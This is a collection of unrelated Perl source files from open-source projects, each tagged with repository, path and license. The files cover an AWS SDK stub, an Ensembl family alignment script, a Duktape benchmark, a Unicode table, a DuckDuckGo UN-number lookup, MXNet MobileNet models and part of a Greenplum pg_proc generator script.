=head2 _request_id => Str
=cut
1; | ioanrogers/aws-sdk-perl | auto-lib/Paws/StorageGateway/DescribeBandwidthRateLimitOutput.pm | Perl | apache-2.0 | 905 |
# Copyright [1999-2015] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
use strict;
use warnings;
use Bio::EnsEMBL::Registry;
use Bio::AlignIO;
## Load the registry automatically
my $reg = "Bio::EnsEMBL::Registry";
$reg->load_registry_from_url('mysql://anonymous@ensembldb.ensembl.org');
## Get the compara family adaptor
my $family_adaptor = $reg->get_adaptor("Multi", "compara", "Family");
## Get all the families
my $this_family = $family_adaptor->fetch_by_stable_id('ENSFM00250000006121');
## Description of the family
print $this_family->description(), " (description score = ", $this_family->description_score(), ")\n";
## BioPerl alignment
my $simple_align = $this_family->get_SimpleAlign(-append_taxon_id => 1);
my $alignIO = Bio::AlignIO->newFh(-format => "clustalw");
print $alignIO $simple_align;
| ckongEbi/ensembl-compara | docs/workshop/API_workshop_exercises/family1.pl | Perl | apache-2.0 | 1,398 |
sub test {
my %obj = ( 'xxx1' => 1, 'xxx2' => 2, 'xxx3' => 3, 'xxx4' => 4, 'foo' => 123 );
my $i;
my $ign;
for ($i = 0; $i < 1e8; $i++) {
$ign = $obj{'foo'};
}
}
test();
| kphillisjr/duktape | tests/perf/test-prop-read.pl | Perl | mit | 200 |
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!!
# This file is machine-generated by mktables from the Unicode
# database, Version 6.1.0. Any changes made here will be lost!
# !!!!!!! INTERNAL PERL USE ONLY !!!!!!!
# This file is for internal use by core Perl only. The format and even the
# name or existence of this file are subject to change without notice. Don't
# use it directly.
return <<'END';
2155
END
| Dokaponteam/ITF_Project | xampp/perl/lib/unicore/lib/Nv/1_5.pl | Perl | mit | 418 |
package DDG::Goodie::UN;
# ABSTRACT: Gives a description for a given UN number
use strict;
use DDG::Goodie;
use Number::UN 'get_un';
attribution github => ['tantalor', 'John Tantalo'],
github => ['https://github.com/ozdemirburak', 'Burak Özdemir'];
primary_example_queries 'UN Number 0009';
description 'gives a description for a given UN number';
name 'UN Number';
code_url 'https://github.com/duckduckgo/zeroclickinfo-goodies/blob/master/lib/DDG/Goodie/UN.pm';
category 'facts';
topics 'everyday';
use constant WPHREF => "https://en.wikipedia.org/wiki/List_of_UN_numbers_%04d_to_%04d";
triggers start => 'un';
zci is_cached => 1;
zci answer_type => 'united_nations';
handle remainder => sub {
my $num = shift or return;
$num =~ s/^number\s+//gi;
return unless $num =~ /^\d+$/;
my %un = get_un($num) or return;
$un{description} =~ s/\.$//;
return $un{description}, structured_answer => {
id => 'un',
name => 'UN Number',
data => {
title => "UN Number: " . $un{number},
description => $un{description}
},
meta => {
sourceName => "Wikipedia",
sourceUrl => wphref($num)
},
templates => {
group => 'info',
options => {
moreAt => 1
}
}
};
};
# Wikipedia attribution per CC-BY-SA
sub wphref {
my $num = shift;
my $lower = int($num / 100) * 100 + 1;
my $upper = $lower + 99;
return sprintf WPHREF, $lower, $upper;
}
1;
| jophab/zeroclickinfo-goodies | lib/DDG/Goodie/UN.pm | Perl | apache-2.0 | 1,533 |
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
use strict;
use warnings;
use AI::MXNet::Function::Parameters;
package AI::MXNet::Gluon::ModelZoo::Vision::MobileNet::RELU6;
use AI::MXNet::Gluon::Mouse;
extends 'AI::MXNet::Gluon::HybridBlock';
method hybrid_forward(GluonClass $F, GluonInput $x)
{
return $F->clip($x, a_min => 0, a_max => 6, name=>"relu6");
}
package AI::MXNet::Gluon::ModelZoo::Vision::MobileNet::LinearBottleneck;
use AI::MXNet::Gluon::Mouse;
extends 'AI::MXNet::Gluon::HybridBlock';
has [qw/in_channels channels t stride/] => (is => 'ro', isa => 'Int', required => 1);
method python_constructor_arguments(){ [qw/in_channels channels t stride/] }
=head1 NAME
AI::MXNet::Gluon::ModelZoo::Vision::MobileNet::LinearBottleneck - LinearBottleneck used in MobileNetV2 model
=cut
=head1 DESCRIPTION
LinearBottleneck used in MobileNetV2 model from the
"Inverted Residuals and Linear Bottlenecks:
Mobile Networks for Classification, Detection and Segmentation"
<https://arxiv.org/abs/1801.04381> paper.
Parameters
----------
in_channels : Int
Number of input channels.
channels : Int
Number of output channels.
t : Int
Layer expansion ratio.
stride : Int
stride
=cut
func _add_conv(
$out, $channels, :$kernel=1, :$stride=1, :$pad=0,
:$num_group=1, :$active=1, :$relu6=0
)
{
$out->add(nn->Conv2D($channels, $kernel, $stride, $pad, groups=>$num_group, use_bias=>0));
$out->add(nn->BatchNorm(scale=>1));
if($active)
{
$out->add($relu6 ? AI::MXNet::Gluon::ModelZoo::Vision::MobileNet::RELU6->new : nn->Activation('relu'));
}
}
sub BUILD
{
my $self = shift;
$self->use_shortcut($self->stride == 1 and $self->in_channels == $self->channels);
$self->name_scope(sub {
$self->out(nn->HybridSequential());
_add_conv($self->out, $self->in_channels * $self->t, relu6=>1);
_add_conv(
$self->out, $self->in_channels * $self->t, kernel=>3, stride=>$self->stride,
pad=>1, num_group=>$self->in_channels * $self->t, relu6=>1
);
_add_conv($self->out, $self->channels, active=>0, relu6=>1);
});
}
method hybrid_forward($F, $x)
{
my $out = $self->out->($x);
if($self->use_shortcut)
{
$out = $F->elemwise_add($out, $x);
}
return $out;
}
package AI::MXNet::Gluon::ModelZoo::Vision::MobileNet;
use AI::MXNet::Gluon::Mouse;
use AI::MXNet::Base;
extends 'AI::MXNet::Gluon::HybridBlock';
has 'multiplier' => (is => 'ro', isa => 'Num', default => 1);
has 'classes' => (is => 'ro', isa => 'Int', default => 1000);
method python_constructor_arguments(){ [qw/multiplier classes/] }
=head1 NAME
AI::MXNet::Gluon::ModelZoo::Vision::MobileNet - MobileNet model from the
"MobileNets: Efficient Convolutional Neural Networks for Mobile Vision Applications"
=cut
=head1 DESCRIPTION
MobileNet model from the
"MobileNets: Efficient Convolutional Neural Networks for Mobile Vision Applications"
<https://arxiv.org/abs/1704.04861> paper.
Parameters
----------
multiplier : Num, default 1.0
The width multiplier for controling the model size. Only multipliers that are no
less than 0.25 are supported. The actual number of channels is equal to the original
channel size multiplied by this multiplier.
classes : Int, default 1000
Number of classes for the output layer.
=cut
func _add_conv(
$out, :$channels=1, :$kernel=1, :$stride=1, :$pad=0,
:$num_group=1, :$active=1, :$relu6=0
)
{
$out->add(nn->Conv2D($channels, $kernel, $stride, $pad, groups=>$num_group, use_bias=>0));
$out->add(nn->BatchNorm(scale=>1));
if($active)
{
$out->add($relu6 ? AI::MXNet::Gluon::ModelZoo::Vision::MobileNet::RELU6->new : nn->Activation('relu'));
}
}
func _add_conv_dw($out, :$dw_channels=, :$channels=, :$stride=, :$relu6=0)
{
_add_conv($out, channels=>$dw_channels, kernel=>3, stride=>$stride,
pad=>1, num_group=>$dw_channels, relu6=>$relu6);
_add_conv($out, channels=>$channels, relu6=>$relu6);
}
sub BUILD
{
my $self = shift;
$self->name_scope(sub {
$self->features(nn->HybridSequential(prefix=>''));
$self->features->name_scope(sub {
_add_conv($self->features, channels=>int(32 * $self->multiplier), kernel=>3, pad=>1, stride=>2);
my $dw_channels = [map { int($_ * $self->multiplier) } (32, 64, (128)x2, (256)x2, (512)x6, 1024)];
my $channels = [map { int($_ * $self->multiplier) } (64, (128)x2, (256)x2, (512)x6, (1024)x2)];
my $strides = [(1, 2)x3, (1)x5, 2, 1];
for(zip($dw_channels, $channels, $strides))
{
my ($dwc, $c, $s) = @$_;
_add_conv_dw($self->features, dw_channels=>$dwc, channels=>$c, stride=>$s);
}
$self->features->add(nn->GlobalAvgPool2D());
$self->features->add(nn->Flatten());
});
$self->output(nn->Dense($self->classes));
});
}
method hybrid_forward(GluonClass $F, GluonInput $x)
{
$x = $self->features->($x);
$x = $self->output->($x);
return $x;
}
package AI::MXNet::Gluon::ModelZoo::Vision::MobileNetV2;
use AI::MXNet::Gluon::Mouse;
use AI::MXNet::Base;
extends 'AI::MXNet::Gluon::HybridBlock';
has 'multiplier' => (is => 'ro', isa => 'Num', default => 1);
has 'classes' => (is => 'ro', isa => 'Int', default => 1000);
method python_constructor_arguments(){ [qw/multiplier classes/] }
=head1 NAME
AI::MXNet::Gluon::ModelZoo::Vision::MobileNetV2 - MobileNet model from the
"Inverted Residuals and Linear Bottlenecks: Mobile Networks for Classification, Detection and Segmentation"
=cut
=head1 DESCRIPTION
MobileNetV2 model from the
"Inverted Residuals and Linear Bottlenecks:
Mobile Networks for Classification, Detection and Segmentation"
<https://arxiv.org/abs/1801.04381> paper.
Parameters
----------
multiplier : Num, default 1.0
The width multiplier for controling the model size. Only multipliers that are no
less than 0.25 are supported. The actual number of channels is equal to the original
channel size multiplied by this multiplier.
classes : Int, default 1000
Number of classes for the output layer.
=cut
func _add_conv(
$out, $channels, :$kernel=1, :$stride=1, :$pad=0,
:$num_group=1, :$active=1, :$relu6=0
)
{
$out->add(nn->Conv2D($channels, $kernel, $stride, $pad, groups=>$num_group, use_bias=>0));
$out->add(nn->BatchNorm(scale=>1));
if($active)
{
$out->add($relu6 ? AI::MXNet::Gluon::ModelZoo::Vision::MobileNet::RELU6->new : nn->Activation('relu'));
}
}
sub BUILD
{
my $self = shift;
$self->name_scope(sub {
$self->features(nn->HybridSequential(prefix=>'features_'));
$self->features->name_scope(sub {
_add_conv(
$self->features, int(32 * $self->multiplier), kernel=>3,
stride=>2, pad=>1, relu6=>1
);
my $in_channels_group = [map { int($_ * $self->multiplier) } (32, 16, (24)x2, (32)x3, (64)x4, (96)x3, (160)x3)];
my $channels_group = [map { int($_ * $self->multiplier) } (16, (24)x2, (32)x3, (64)x4, (96)x3, (160)x3, 320)];
my $ts = [1, (6)x16];
my $strides = [(1, 2)x2, 1, 1, 2, (1)x6, 2, (1)x3];
for(zip($in_channels_group, $channels_group, $ts, $strides))
{
my ($in_c, $c, $t, $s) = @$_;
$self->features->add(
AI::MXNet::Gluon::ModelZoo::Vision::MobileNet::LinearBottleneck->new(
in_channels=>$in_c, channels=>$c,
t=>$t, stride=>$s
)
);
}
my $last_channels = $self->multiplier > 1 ? int(1280 * $self->multiplier) : 1280;
_add_conv($self->features, $last_channels, relu6=>1);
$self->features->add(nn->GlobalAvgPool2D());
});
$self->output(nn->HybridSequential(prefix=>'output_'));
$self->output->name_scope(sub {
$self->output->add(
nn->Conv2D($self->classes, 1, use_bias=>0, prefix=>'pred_'),
nn->Flatten()
);
});
});
}
method hybrid_forward(GluonClass $F, GluonInput $x)
{
$x = $self->features->($x);
$x = $self->output->($x);
return $x;
}
package AI::MXNet::Gluon::ModelZoo::Vision;
=head2 get_mobilenet
MobileNet model from the
"MobileNets: Efficient Convolutional Neural Networks for Mobile Vision Applications"
<https://arxiv.org/abs/1704.04861> paper.
Parameters
----------
$multiplier : Num
The width multiplier for controling the model size. Only multipliers that are no
less than 0.25 are supported. The actual number of channels is equal to the original
channel size multiplied by this multiplier.
:$pretrained : Bool, default 0
Whether to load the pretrained weights for model.
:$ctx : AI::MXNet::Context, default CPU
The context in which to load the pretrained weights.
:$root : Str, default '~/.mxnet/models'
Location for keeping the model parameters.
=cut
method get_mobilenet(
Num $multiplier, Bool :$pretrained=0, AI::MXNet::Context :$ctx=AI::MXNet::Context->cpu(),
Str :$root='~/.mxnet/models'
)
{
my $net = AI::MXNet::Gluon::ModelZoo::Vision::MobileNet->new($multiplier);
if($pretrained)
{
my $version_suffix = sprintf("%.2f", $multiplier);
if($version_suffix eq '1.00' or $version_suffix eq '0.50')
{
$version_suffix =~ s/.$//;
}
$net->load_parameters(
AI::MXNet::Gluon::ModelZoo::ModelStore->get_model_file(
"mobilenet$version_suffix",
root=>$root
),
ctx=>$ctx
);
}
return $net;
}
=head2 get_mobilenet_v2
MobileNetV2 model from the
"Inverted Residuals and Linear Bottlenecks:
Mobile Networks for Classification, Detection and Segmentation"
<https://arxiv.org/abs/1801.04381> paper.
Parameters
----------
$multiplier : Num
The width multiplier for controling the model size. Only multipliers that are no
less than 0.25 are supported. The actual number of channels is equal to the original
channel size multiplied by this multiplier.
:$pretrained : Bool, default 0
Whether to load the pretrained weights for model.
:$ctx : AI::MXNet::Context, default CPU
The context in which to load the pretrained weights.
:$root : Str, default '~/.mxnet/models'
Location for keeping the model parameters.
=cut
method get_mobilenet_v2(
Num $multiplier, Bool :$pretrained=0, AI::MXNet::Context :$ctx=AI::MXNet::Context->cpu(),
Str :$root='~/.mxnet/models'
)
{
my $net = AI::MXNet::Gluon::ModelZoo::Vision::MobileNetV2->new($multiplier);
if($pretrained)
{
my $version_suffix = sprintf("%.2f", $multiplier);
if($version_suffix eq '1.00' or $version_suffix eq '0.50')
{
$version_suffix =~ s/.$//;
}
$net->load_parameters(
AI::MXNet::Gluon::ModelZoo::ModelStore->get_model_file(
"mobilenetv2_$version_suffix",
root=>$root
),
ctx=>$ctx
);
}
return $net;
}
=head2 mobilenet1_0
MobileNet model from the
"MobileNets: Efficient Convolutional Neural Networks for Mobile Vision Applications"
<https://arxiv.org/abs/1704.04861> paper, with width multiplier 1.0.
Parameters
----------
:$pretrained : Bool, default 0
Whether to load the pretrained weights for model.
:$ctx : AI::MXNet::Context, default CPU
The context in which to load the pretrained weights.
=cut
method mobilenet1_0(%kwargs)
{
return __PACKAGE__->get_mobilenet(1.0, %kwargs);
}
=head2 mobilenet_v2_1_0
MobileNetV2 model from the
"Inverted Residuals and Linear Bottlenecks:
Mobile Networks for Classification, Detection and Segmentation"
<https://arxiv.org/abs/1801.04381> paper.
Parameters
----------
:$pretrained : Bool, default 0
Whether to load the pretrained weights for model.
:$ctx : AI::MXNet::Context, default CPU
The context in which to load the pretrained weights.
=cut
method mobilenet_v2_1_0(%kwargs)
{
return __PACKAGE__->get_mobilenet_v2(1.0, %kwargs);
}
=head2 mobilenet0_75
MobileNet model from the
"MobileNets: Efficient Convolutional Neural Networks for Mobile Vision Applications"
<https://arxiv.org/abs/1704.04861> paper, with width multiplier 0.75.
Parameters
----------
:$pretrained : Bool, default 0
Whether to load the pretrained weights for model.
:$ctx : AI::MXNet::Context, default CPU
The context in which to load the pretrained weights.
=cut
method mobilenet0_75(%kwargs)
{
return __PACKAGE__->get_mobilenet(0.75, %kwargs);
}
=head2 mobilenet_v2_0_75
MobileNetV2 model from the
"Inverted Residuals and Linear Bottlenecks:
Mobile Networks for Classification, Detection and Segmentation"
<https://arxiv.org/abs/1801.04381> paper.
Parameters
----------
:$pretrained : Bool, default 0
Whether to load the pretrained weights for model.
:$ctx : AI::MXNet::Context, default CPU
The context in which to load the pretrained weights.
=cut
method mobilenet_v2_0_75(%kwargs)
{
return __PACKAGE__->get_mobilenet_v2(0.75, %kwargs);
}
=head2 mobilenet0_5
MobileNet model from the
"MobileNets: Efficient Convolutional Neural Networks for Mobile Vision Applications"
<https://arxiv.org/abs/1704.04861> paper, with width multiplier 0.5.
Parameters
----------
:$pretrained : Bool, default 0
Whether to load the pretrained weights for model.
:$ctx : AI::MXNet::Context, default CPU
The context in which to load the pretrained weights.
=cut
method mobilenet0_5(%kwargs)
{
return __PACKAGE__->get_mobilenet(0.5, %kwargs);
}
=head2 mobilenet_v2_0_5
MobileNetV2 model from the
"Inverted Residuals and Linear Bottlenecks:
Mobile Networks for Classification, Detection and Segmentation"
<https://arxiv.org/abs/1801.04381> paper.
Parameters
----------
:$pretrained : Bool, default 0
Whether to load the pretrained weights for model.
:$ctx : AI::MXNet::Context, default CPU
The context in which to load the pretrained weights.
=cut
method mobilenet_v2_0_5(%kwargs)
{
return __PACKAGE__->get_mobilenet_v2(0.5, %kwargs);
}
=head2 mobilenet0_25
MobileNet model from the
"MobileNets: Efficient Convolutional Neural Networks for Mobile Vision Applications"
<https://arxiv.org/abs/1704.04861> paper, with width multiplier 0.25.
Parameters
----------
:$pretrained : Bool, default 0
Whether to load the pretrained weights for model.
:$ctx : AI::MXNet::Context, default CPU
The context in which to load the pretrained weights.
=cut
method mobilenet0_25(%kwargs)
{
return __PACKAGE__->get_mobilenet(0.25, %kwargs);
}
=head2 mobilenet_v2_0_25
MobileNetV2 model from the
"Inverted Residuals and Linear Bottlenecks:
Mobile Networks for Classification, Detection and Segmentation"
<https://arxiv.org/abs/1801.04381> paper.
Parameters
----------
:$pretrained : Bool, default 0
Whether to load the pretrained weights for model.
:$ctx : AI::MXNet::Context, default CPU
The context in which to load the pretrained weights.
=cut
method mobilenet_v2_0_25(%kwargs)
{
return __PACKAGE__->get_mobilenet_v2(0.25, %kwargs);
}
1;
| dmlc/mxnet | perl-package/AI-MXNet-Gluon-ModelZoo/lib/AI/MXNet/Gluon/ModelZoo/Vision/MobileNet.pm | Perl | apache-2.0 | 16,580 |
#!/usr/bin/perl
#
# copyright (c) 2011
# Author: Jeffrey I Cohen
use POSIX;
use Pod::Usage;
use Getopt::Long;
use Data::Dumper;
use strict;
use warnings;
# SLZY_POD_HDR_BEGIN
# WARNING: DO NOT MODIFY THE FOLLOWING POD DOCUMENT:
# Generated by sleazy.pl version 4 (release Fri Jul 8 15:26:54 2011)
# Make any changes under SLZY_TOP_BEGIN/SLZY_LONG_BEGIN
=head1 NAME
B<catullus.pl> - generate pg_proc entries
=head1 VERSION
This document describes version 8 of catullus.pl, released
Mon Oct 3 12:58:12 2011.
=head1 SYNOPSIS
B<catullus.pl>
Options:
-help brief help message
-man full documentation
-procdef sql definitions for pg_proc functions
-prochdr header file to modify (procedures)
=head1 OPTIONS
=over 8
=item B<-help>
Print a brief help message and exits.
=item B<-man>
Prints the manual page and exits.
=item B<-procdef> <filename> (Required)
sql definitions for pg_proc functions (normally pg_proc.sql)
=item B<-prochdr> <filename> (Required)
header file to modify (normally pg_proc_gp.h). The original file is copied to a .backup copy.
=back
=head1 DESCRIPTION
catullus.pl converts annotated sql CREATE FUNCTION statements into
pg_proc entries and updates pg_proc_gp.h.
The pg_proc definitions are stored in pg_proc.sql. catullus reads
these definitions and, using type information from pg_type.sql,
generates DATA statements for loading the pg_proc table. In
pg_proc_gp.h, it looks for a block of code delimited by the tokens
TIDYCAT_BEGIN_PG_PROC_GEN and TIDYCAT_END_PG_PROC_GEN and substitutes
the new generated code for the previous contents.
=head1 CAVEATS/FUTURE WORK
The aggregate transition functions are constructed from CREATE
FUNCTION statements. But we should really use CREATE AGGREGATE
statements to generate the DATA statements for pg_aggregate and the
pg_proc entries. A similar limitation exists for window functions in
pg_window. And operators and operator classes? Access methods? Casts?
=head1 AUTHORS
Jeffrey I Cohen
Copyright (c) 2011 Greenplum. All rights reserved.
Address bug reports and comments to: bugs@greenplum.org
=cut
# SLZY_POD_HDR_END
my $glob_id = "";
my %glob_typeoidh; # hash type names to oid
# SLZY_GLOB_BEGIN
my $glob_glob;
# SLZY_GLOB_END
sub glob_validate
{
# XXX XXX: special case these for now...
$glob_typeoidh{"gp_persistent_relation_node"} = 6990;
$glob_typeoidh{"gp_persistent_database_node"} = 6991;
$glob_typeoidh{"gp_persistent_tablespace_node"} = 6992;
$glob_typeoidh{"gp_persistent_filespace_node"} = 6993;
return 1;
}
# SLZY_CMDLINE_BEGIN
# WARNING: DO NOT MODIFY THE FOLLOWING SECTION:
# Generated by sleazy.pl version 4 (release Fri Jul 8 15:26:54 2011)
# Make any changes under SLZY_TOP_BEGIN/SLZY_LONG_BEGIN
# Any additional validation logic belongs in glob_validate()
BEGIN {
my $s_help = 0; # brief help message
my $s_man = 0; # full documentation
my $s_procdef; # sql definitions for pg_proc functions
my $s_prochdr; # header file to modify (procedures)
GetOptions(
'help|?' => \$s_help,
'man' => \$s_man,
'procdef|prosource|procsource|prosrc|procsrc=s' => \$s_procdef,
'prochdr|proheader|procheader|prohdr=s' => \$s_prochdr,
)
or pod2usage(2);
pod2usage(-msg => $glob_id, -exitstatus => 1) if $s_help;
pod2usage(-msg => $glob_id, -exitstatus => 0, -verbose => 2) if $s_man;
$glob_glob = {};
# version and properties from json definition
$glob_glob->{_sleazy_properties} = {};
$glob_glob->{_sleazy_properties}->{version} = '8';
$glob_glob->{_sleazy_properties}->{slzy_date} = '1317671892';
die ("missing required argument for 'procdef'")
unless (defined($s_procdef));
die ("invalid argument for 'procdef': file $s_procdef does not exist")
unless (defined($s_procdef) && (-e $s_procdef));
die ("missing required argument for 'prochdr'")
unless (defined($s_prochdr));
die ("invalid argument for 'prochdr': file $s_prochdr does not exist")
unless (defined($s_prochdr) && (-e $s_prochdr));
$glob_glob->{procdef} = $s_procdef if (defined($s_procdef));
$glob_glob->{prochdr} = $s_prochdr if (defined($s_prochdr));
glob_validate();
}
# SLZY_CMDLINE_END
sub doformat
{
my ($bigstr, $kv) = @_;
my %blankprefix;
# find format expressions with leading blanks
if ($bigstr =~ m/\n/)
{
my @foo = split(/\n/, $bigstr);
for my $lin (@foo)
{
next unless ($lin =~ m/^\s+\{.*\}/);
# find the first format expression after the blank prefix
my @baz = split(/\}/, $lin, 2);
my $firstf = shift @baz;
my @zzz = ($firstf =~ m/^(\s+)\{(.*)$/);
next unless (defined($zzz[1]) &&
length($zzz[1]));
my $k2 = quotemeta($zzz[1]);
die "duplicate use of prefixed pattern $k2"
if (exists($blankprefix{$k2}));
# store the prefix
$blankprefix{$k2} = $zzz[0];
}
}
# print Data::Dumper->Dump([%blankprefix]);
while (my ($kk, $vv) = each(%{$kv}))
{
my $subi = '{' . quotemeta($kk) . '}';
my $v2 = $vv;
if (exists($blankprefix{quotemeta($kk)}) &&
($v2 =~ m/\n/))
{
my @foo = split(/\n/, $v2);
# for a multiline substitution, prefix every line with the
# offset of the original token
$v2 = join("\n" . $blankprefix{quotemeta($kk)}, @foo);
# fixup trailing newline if necessary
if ($vv =~ m/\n$/)
{
$v2 .= "\n"
unless ($v2 =~ m/\n$/);
}
}
$bigstr =~ s/$subi/$v2/gm;
}
return $bigstr;
}
# get oid for type from local cache
sub get_typeoid
{
my $tname = shift;
# check the type/oid cache
return $glob_typeoidh{$tname} if (exists($glob_typeoidh{$tname}));
die "cannot find type: $tname";
return undef;
} # get_typeoid
sub get_fntype
{
my $funcdef = shift;
my @foo = split(/\s+/, $funcdef);
my $tdef = "";
# get [SETOF] typname
for my $ff (@foo)
{
if ($ff =~ m/^(setof)$/i)
{
$tdef .= $ff . " ";
next;
}
if ($ff =~ m/^(\[.*\])$/i)
{
$tdef .= $ff;
next;
}
$tdef .= $ff;
last;
}
# get array bounds or ARRAY array bounds
for my $ff (@foo)
{
if ($ff =~ m/^(ARRAY)$/i)
{
$tdef .= " " . $ff . " ";
next;
}
if ($ff =~ m/^(\[.*\])$/i)
{
$tdef .= $ff;
last;
}
last;
}
return $tdef;
} # end get_fntype
sub get_fnoptlist
{
my $funcdef = shift;
my @optlist;
my $rex = 'called\s+on\s+null\s+input|'.
'returns\s+null\s+on\s+null\s+input|strict|immutable|stable|volatile|'.
'external\s+security\s+definer|external\s+security\s+invoker|' .
'security\s+definer|security\s+invoker|' .
'cost\s+(\d+)|' .
'rows\s+(\d+)|' .
'no\s+sql|contains\s+sql|reads\s+sql\s+data|modifies\s+sql\s+data|' .
'language\s+\S+|' .
'as\s+\\\'\S+\\\'(?:\s*,\s*\\\'\S+\\\')*';
# print "$rex\n";
# my @foo = ($funcdef =~ m/((?:\s*$rex\s*))*/i);
my @foo = ($funcdef =~ m/($rex)/i);
while (scalar(@foo))
{
my $opt = $foo[0];
push @optlist, $opt;
my $o2 = quotemeta($opt);
$funcdef =~ s/$o2//;
@foo = ($funcdef =~ m/($rex)/i);
}
return \@optlist;
} # end get_fnoptlist
sub make_opt
{
my $fndef = shift;
# values from pg_language
my $plh = {
internal => 12,
c => 13,
sql => 14,
plpgsql => 10886
};
my $proname = $fndef->{name};
my $prolang;
my $procost;
my $prorows;
my $provolatile;
my $proisstrict = 0;
my $prosecdef = 0;
my $prodataaccess;
my $prosrc;
my $func_as;
my $tdef;
# remove double quotes
$proname =~ s/^\"//;
$proname =~ s/\"$//;
if (exists($fndef->{optlist}))
{
for my $opt (@{$fndef->{optlist}})
{
if ($opt =~ m/^(immutable|stable|volatile)/i)
{
die ("conflicting or redundant options: $opt")
if (defined($provolatile));
# provolatile is first char of option ([i]mmmutble, [s]table,
# [v]olatile).
$provolatile = lc(substr($opt, 0, 1));
}
if ($opt =~ m/^language\s+(internal|c|sql|plpgsql)$/i)
{
die ("conflicting or redundant options: $opt")
if (defined($prolang));
my $l1 = lc($opt);
$l1 =~ s/^language\s+//;
$prolang = $plh->{$l1};
}
if ($opt =~ m/^(no\s+sql|contains\s+sql|reads\s+sql\s+data|modifies\s+sql\s+data)/i)
{
die ("conflicting or redundant options: $opt")
if (defined($prodataaccess));
# prodataaccess is first char of option ([n]o sql, [c]ontains sql,
# [r]eads sql data, [m]odifies sql data).
$prodataaccess = lc(substr($opt, 0, 1));
}
if ($opt =~ m/^AS\s+\'.*\'$/)
{
die ("conflicting or redundant options: $opt")
if (defined($func_as));
# NOTE: we preprocessed dollar-quoted ($$) AS options
# to single-quoted strings. Will fix the string value
# later.
my @foo = ($opt =~ m/^AS\s+\'(.*)\'$/);
die "bad func AS: $opt" unless (scalar(@foo));
$func_as = shift @foo;
}
if ($opt =~ m/^cost\s+(\d+)$/i)
{
die ("conflicting or redundant options: $opt")
if (defined($procost));
$procost = $1;
}
if ($opt =~ m/^rows\s+(\d+)$/i)
{
die ("conflicting or redundant options: $opt")
if (defined($prorows));
$prorows = $1;
}
$proisstrict = 1
if ($opt =~ m/^(strict|returns\s+null\s+on\s+null\s+input)$/i);
$proisstrict = 0
if ($opt =~ m/^(called\s+on\s+null\s+input)$/i);
$prosecdef = 1
if ($opt =~ m/security definer/i);
$prosecdef = 0
if ($opt =~ m/security invoker/i);
} # end for
$tdef = {
proname => $proname,
# pronamespace => 11, # pg_catalog
# proowner => 10, # admin
pronamespace => "PGNSP", # pg_catalog
proowner => "PGUID", # admin
prolang => $prolang,
procost => $procost,
prorows => $prorows,
provariadic => 0,
proisagg => 0,
prosecdef => $prosecdef,
proisstrict => $proisstrict,
# proretset
provolatile => $provolatile,
# pronargs
# prorettype
proiswin => 0,
# proargtypes
# proallargtypes
# proargmodes
# proargnames
prodataaccess => $prodataaccess
};
if (defined($func_as) && defined($prolang))
{
if (12 == $prolang) # internal
{
$tdef->{prosrc} = $func_as;
}
elsif (13 == $prolang) # C
{
die ("bad C function def $func_as") unless ($func_as =~ m/\,/);
$func_as =~ s/\'//g;
my @foo = split(/\s*\,\s*/, $func_as);
$tdef->{prosrc} = $foo[1];
$tdef->{probin} = $foo[0];
}
elsif (14 == $prolang) # sql
{
$func_as =~ s/^\s*\'//;
$func_as =~ s/\'\s*$//;
# NOTE: here is the fixup for the AS option --
# retrieve the quoted string.
# [ unquurl ]
$func_as =~ s/\%([A-Fa-f0-9]{2})/pack('C', hex($1))/seg;
$tdef->{prosrc} = $func_as;
}
else
{
die ("bad lang: $prolang");
}
}
if (!defined($prodataaccess))
{
if (14 == $prolang) # SQL
{
$prodataaccess = 'c';
}
else
{
$prodataaccess = 'n';
}
$tdef->{prodataaccess} = $prodataaccess;
}
# check for conflicting prodataaccess options
if (14 == $prolang && ('n' eq $prodataaccess))
{
die ("conflicting options: A SQL function cannot specify NO SQL");
}
if (defined($provolatile) && ('i' eq $provolatile))
{
if ('r' eq $prodataaccess)
{
die ("conflicting options: IMMUTABLE conflicts with READS SQL DATA");
}
if ('m' eq $prodataaccess)
{
die ("conflicting options: IMMUTABLE conflicts with MODIFIES SQL DATA");
}
}
} # end if exists
$fndef->{tuple} = $tdef if (defined($tdef));
} # end make_opt
sub make_rettype
{
my $fndef = shift;
if (exists($fndef->{returntype}))
{
my $rt = $fndef->{returntype};
# check if SETOF returntype
$fndef->{tuple}->{proretset} = ($rt =~ m/^setof/i);
# remove SETOF
$rt =~ s/^setof\s*//i;
# remove "pg_catalog." prefix
$rt =~ s/^pg\_catalog\.//i;
# quotes
$rt =~ s/\"//g;
my $rtoid = get_typeoid($rt);
$fndef->{tuple}->{prorettype} = $rtoid
if (defined($rtoid));
}
} # end make_rettype
sub make_allargs
{
my $fndef = shift;
my $fnname = $fndef->{name};
return undef
unless (exists($fndef->{rawargs}) &&
length($fndef->{rawargs}));
my $argstr = $fndef->{rawargs};
return undef
unless (length($argstr) && ($argstr !~ m/^\s*$/));
my @foo;
# A function takes multiple "func_args" (parameters),
# separated by commas. Each func_arg must have a type,
# and it optionally has a name (for languages that
# support named parameters) and/or an "arg_class" (which
# is IN, OUT, INOUT or "IN OUT"). The func_arg tokens are
# separated by spaces, and the ordering and combinations
# are a bit too flexible for comfort. So we only support
# declarations in the order arg_class, param_name, func_type.
if ($argstr =~ m/\,/)
{
@foo = split(/\s*\,\s*/, $argstr);
}
else
{
push @foo, $argstr;
}
# oids, type, class, name
my @argoids;
my @argtype;
my @argclass;
my @argname;
my $nargs = 0;
for my $func_arg (@foo)
{
# no spaces, so arg_type only
if ($func_arg !~ /\S+\s+\S+/)
{
